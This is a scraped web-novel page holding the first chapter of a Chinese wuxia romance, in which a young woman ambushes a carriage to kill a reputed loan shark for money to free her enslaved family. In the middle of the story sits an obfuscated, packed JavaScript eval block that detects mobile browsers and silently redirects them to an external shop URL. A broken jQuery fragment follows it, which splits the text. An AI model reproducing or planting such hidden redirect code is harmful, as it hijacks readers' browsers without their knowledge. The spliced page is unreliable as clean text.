文趣网 > 都市小说 > 春山遇匪 > 1. 001
    再有半个时辰,遇恩得杀人。

    因是头一遭她心里没底,掌心润出细汗,不自在地换另一边手握刀。

    “你们只管引开随从,被抓就说遇到山贼吓得乱跑。人,我来杀。”

    那极力压低的尾音仍有不容抗辩的威势,遇恩身旁的少年点头应诺。

    此处为朗州进京要道,路两旁绿竹葱郁,竹林外则是连绵的高山。前些年山中闹过大虫吃人的事,除了商贾和官差,平常鲜少有人经过。

    今日遇恩穿了件竹青的苎麻窄袖圆领袍,束袖、蒙面,带着小弟掩在这竹海野草间打埋伏。

    要杀那人大名不知,只知诨名叫“李老五”。据说专在赌场设套,哄骗别人借款赌钱,最后利滚利逼得人倾家荡产,便强抢别人家中女子卖身抵债。

    有人找到遇恩,愿出五十两要李老五的性命,遇恩一口应承下来。

    为替天行道,更为赚一份盘缠。

    前些日子,遇恩听闻罗州知州府上有一对母女,原是大户人家的太太小姐,家里犯了事,发到罗州为奴婢。母女俩都生得神仙颜色,琴棋书画样样精通,说话柔声细语,极度好洁净。

    罗州知州瞧上那当娘的,想收为小妾。可巧知州家大公子瞧上当姑娘的,也想收为小妾。父子俩谁也不肯让步,一时闹起来,成为坊间笑谈。

    遇恩笑不出来,依年龄、样貌、性情推断,那对母女应该是她娘和大姐。

    家中遭难是五年前的事,遇恩及笄礼刚过完,往苏州外祖家游玩,因好奇钱塘大潮便取道钱塘,这一耽搁便误了返京的船,她索性留在江南畅游名胜。返京时已近中秋,偌大的宁远侯府成了荒坟孤冢,贴着封条,不见家下人热络相迎。

    遇恩几番打探方知苏家被抄,爹和哥哥被革职流放苦寒之地,娘和大姐充为官奴,至此家人音讯全无。

    从京师一路向南,哪处有家人消息她便赶往哪处,如是过了五年,到底走到为寻亲盘缠杀人的境地。

    金乌当空,热浪滚滚,不过三月中热得好似初夏,遇恩抹一把额头汗,转眼看向路口。

    “二子,倘若我没赶去汇合必定被擒,到时辰你和三子就走。”

    二子虚眼看了看明晃晃的日头,挪转目光定在同一个路口,“放心,干这刀尖舔血的营生不过为钱,还没到生死相依的地步,断不会为大当家豁出性命。”

    闻言,三子打着哈欠撑坐起身,和二子相视一眼,拔了根狗尾草衔着。

    “大当家,”三子嚼着草嬉笑靠近,“干完这票,我俩跟你去罗州可好?”

    遇恩余光一扫,“就你们那点三脚猫功夫,别给姑奶奶添乱。”

    说罢照着三子的脑顶就是一拳,疼得三子龇牙咧嘴,却是笑得更欢。

    “二子跑得快,我耳朵灵,再不济大当家被抓,还能帮着劫法场不是。”

    话出一半,遇恩照着他脑袋又落一拳,“呸!狗嘴里吐不出象牙,就不能盼着我好。”

    遇恩并非不需要帮忙,念及劫官奴之事颇为冒险,若被抓住轻则挨板子重则获罪羁押,她不想牵连他们。

    三子见她言辞笃定,便不再言语了。

    旋即伏身以耳贴地,半晌,眉头皱紧,“一里外,西南方向往东北,走路的人八个,马车两辆,一辆坐人,一辆拉货。”

    说着一顿,耳廓抵紧地面,不觉将声音压低:“箱笼是空的。”

    “怪了。”遇恩攒眉。

    这人有八个下人跟出门,不说仆从物什,单就主子的衣裳鞋袜得预备,箱笼怎是空的?

    又想起雇主说恶霸高约八尺,今日穿了件海天霞圆领春袍,手执山水泥金折扇,行容一等一的俊美风流。

    这种男人遇恩在京城见多了,爱出风头喜好打扮,出远门不带十身八身衣裳,简直说不通。

    大费周章拉空箱笼出门,更像在演戏给谁看。

    细想确有蹊跷,然而除去这宗差事,遇恩这会子再无来钱门路,难不成放着娘和大姐被人占为小妾?

    “大当家,上货。”三子起身附耳,打断她的思绪。

    路口传来马蹄“笃笃”声,果有两辆马车正朝这方走来。打头那辆装饰华丽,后面那辆绑着一口大箱笼。八个男人分列前后,各个身材魁梧,面色肃穆。

    遇恩抄起黄豆大小的石子弹向车帘,砸开一角,窥见半截海天霞的衣袖,一只白皙修长的手正慢悠悠摇着泥金折扇。

    她稍稍偏头,二子、三子当即会意,左右拉拽绳索,林中顷刻飞出百十支箭簇,簌簌的破风声荡在幽静竹林,闷声栽进皮肉。

    当即倒下四个汉子,其余人反应过来,纷纷拔刀挡箭。

    箭射完一轮便偃旗息鼓,究其原因,遇恩只备了二百支,舍不得花钱。

    “有山贼!”不知谁嚷了声。

    两个汉子一左一右护住马车,另外两个提刀冲进竹林。

    遇恩斜瞟二子,做出“跑”的口型。

    那小子似被魇住了,一手捂住箭筒不动脚步,一手抽出刀朝她傻笑,“大当家,我刚磨的刀挺快。”

    哪管他的刀是快是钝,杀人凶险,遇恩只想自己动手,不愿两个小弟真刀真枪拼命。一时急起来,揪起二子胳膊肉死命拧。

    “啊!”

    喊声一出,二子拔腿就往东边跑,衣袍留着被遇恩狠踹的鞋印。

    两个汉子追出去几步,却听另一边响起同样的惨叫,就见三子往西边窜,只得分头追赶。

    待几人跑远,遇恩咬住下唇,转动手腕活络筋骨,提着大刀杀将出去。

    起了风,竹海簌啦啦摇曳,仿若奏起战歌。

    遇恩脚踩大石腾空一跃,踏在竹浪上借着韧劲接连向前,翻身向马车,一手握刀,一手撑地,半跪的姿势轻盈落于车顶,抬起晦暗不明的眼。

    用家传武功杀人谋财,给爹知道了定罚她到庄子思过,十年不得外出。

    倘若爹还在世的话。

    “大胆狂徒,可知车中坐的是谁?!”

    车前男人突然出声,遇恩心一横,双手将长刀插向车顶,当即破开一道裂缝。

    顺着缝隙连砍数刀,眼看车顶将要掀翻,不妨身后跳起一人,将她连人带刀踹滚在地。

    和着满嘴灰,遇恩尝到腥甜血气。

    大意了。

    她打挺起身,横过拳背抹去唇边血。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792170|210427||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    两个汉子一左一右周旋在她身侧,彼此粗重呼吸听得分明,那是野兽间缠斗的气息,五内血液沸腾,叫嚣着要一个敌死我活的结局。

    接连一个月没下雨,官道上的黄土干硬开裂,轻轻一踩便扬起灰尘。

    遇恩紧盯两个汉子的眼睛挑衅,脚下却在细碎移动。转到上风方向,忽地一蹲,刀尖挑起踩碎的黄土。

    风正好,沙正好,扑了二人的眼。

    遇恩旋即转到他们身后,一人一脚踹翻,夺过二人手中刀剑踢进竹林。

    抬腿正对二人心窝狠跺,两人当即呕出血来。

    遇恩收了惯用的大刀,从腰后摸出两把匕首,悬在他们眼珠正上方。

    “我只为杀你们主人,想活命乖乖束手就擒。”

    她大口喘息,方才坠落的痛感业已麻木,取而代之的是活下来的兴奋。

    一个汉子瞥了眼马车,不见害怕,反而讥讽:“捅娄子了知道吗?今天这事,伤了我们弟兄几个不打紧,伤了里面那位,你的脑袋要搬家。”

    叽里咕噜说什么呢,手下败将。遇恩下移匕首,戳得那人睫毛狂扇,闭了嘴。

    回望马车,遇恩不禁哂笑:“就算是天王老子,该死还得死。”

    那汉子适才慌乱起来,声音带着颤:“别犯浑,若闹出人命,别说你,你阖家上下都得死。”

    这话一出,遇恩心膛顿时怒火翻涌。

    她早没有家了,遑论祸及家人。

    目光似长钉,扎向那装饰富丽的马车,旁人不敢惹的恶霸,她偏要惹。

    遇恩匆匆将两个汉子绑到树下,提刀跳上马车,一把掀开车帘。

    四目相对之际,她呼吸有一瞬错乱。

    只见车内端坐着个男人,年纪约及弱冠,穿了件浮光锦的圆领袍,海天霞色衣料衬得他面若敷粉、唇若含朱。

    两道剑眉浓淡相宜,底下的桃花眼懒倦斜挑,偏暖的五官嵌在那张冷白面皮,恰似早春料峭的风光。

    遇恩暗骂老天不长眼,如此谪仙般的样貌偏生给了禽兽,二话不说将刀驾在男人脖颈。

    鼻尖微动,她嗅到一股馥郁气息。

    不似香包、香囊香得冷静,那香是活的,贴着肌肤温热,正从男人雪白的中衣领口一丝丝渗出来。

    男人也可以这么香吗?

    唯恐闻多了中毒,遇恩退开半副身子,带动刀刃一转,割断男人鬓边几根青丝,落在她的鞋面。

    幸而春风伶俐,及时闯进来吹落发丝。遇恩却似被虫蚁爬过脚背,整只脚都有点别扭,脚趾在鞋里动了动。

    这人真怪,都刀架脖子了竟不慌,只管垂目看向她没握刀的那只手。

    清冷的视线盯得遇恩手背微微发痒。

    手上又是灰又是土,还有长年累月习武结下的伤疤,有什么可看?

    她用刀背挑起男人下颌,迫使他抬眼。

    男人眼波流转,对上她的眸子,不见丝毫惧怕。

    手上动作亦未收敛,依旧不紧不慢摇动折扇,扇出一股子气定神闲。

    沉吟片刻,他终于开了口,那嗓音仿若化冻的霜雪,温柔中透着清冽,“洗手了么?就来抓我。”